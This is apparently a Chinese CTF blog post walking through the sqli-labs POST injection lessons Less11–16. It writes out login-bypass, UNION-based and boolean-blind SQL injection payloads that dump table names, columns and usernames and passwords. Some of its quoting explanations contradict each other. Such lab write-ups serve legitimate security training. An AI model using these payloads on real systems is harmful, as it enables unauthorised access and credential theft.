CTFweb篇-SQL注入（四）

Less11

这一关主要就是改post请求，用post请求的参数来进行注入
填写admin登陆后仍然没有get参数

考虑就是post请求
这里就用burp suite抓包

这里就是post传入的参数值，改的就是这个值
我们把这个值拿到hackbar里面来进行操作
我们传入uname=admin’，系统会报错
right syntax to use near 'admin' LIMIT 0,1' at line 1
我们再传uname=admin"，就没有报错了
证明这里是双单引号包裹
于是传入uname=admin1' or 1=1 #&passwd=admin&submit=Submit

这里为什么要用or 1 = 1，因为用这个只要有一个条件满足，则前面的select的字段的所有值都会被查出来，这里只显示dumb是因为，源文件中select语句只显示一行的数据。
然后用order by 判断出有两个字段
并且用union select 1,2 判断出显示点是1，2个数据
再用database()查出数据库名是security
呈上，于是我们可以使用union进行联合查询
uname=admin11' union select group_concat(table_name) ,2 from information_schema.tables where table_schema = database() #&passwd=admin&submit=Submit

再查出列名
uname=admin11' union select group_concat(column_name) ,2 from information_schema.columns where table_name= 'users' #&passwd=admin&submit=Submit

查数据
uname=admin11' union select group_concat(username,':',password) ,2 from users #&passwd=admin&submit=Submit

Less12

这一关就是数据被( ) 包裹，所以怎么加注释符都没用
其它解题步骤跟11关相似

Less13

这一关就是数据被(’ ‘) 包裹，但是不显示数据库信息
这里需要用到bool盲注
首先通过基本手段判断出参数是由" "包裹
先判断数据库长度
uname=adminsds') or length(database())=8#\&passwd=admin&submit=Submit
显示登录成功，于是知道数据库名长度为8
再查数据库名
uname=adminsd') or left(database(),1)='s'#\&passwd=admin&submit=Submit
完整数据库名采用burp suite暴力破解
暴力破解表名uname=adminsd') or left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'#\&passwd=admin&submit=Submit改相应参数破解即可。
暴力破解列名
uname=adminsd’) or left((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1)=‘U’#&passwd=admin&submit=Submit
注意这里的字母不区分大小写，数据库查询本身也不区分大小写

Less14

这一关就是双引号包裹，其它跟Less13相同

Less15

这一关就是’ '包裹，其它跟13关没区别

Less16

这一关就是被(" ")包裹

总结

这几关但是改post请求用联合查询以及布尔盲注来进行攻击。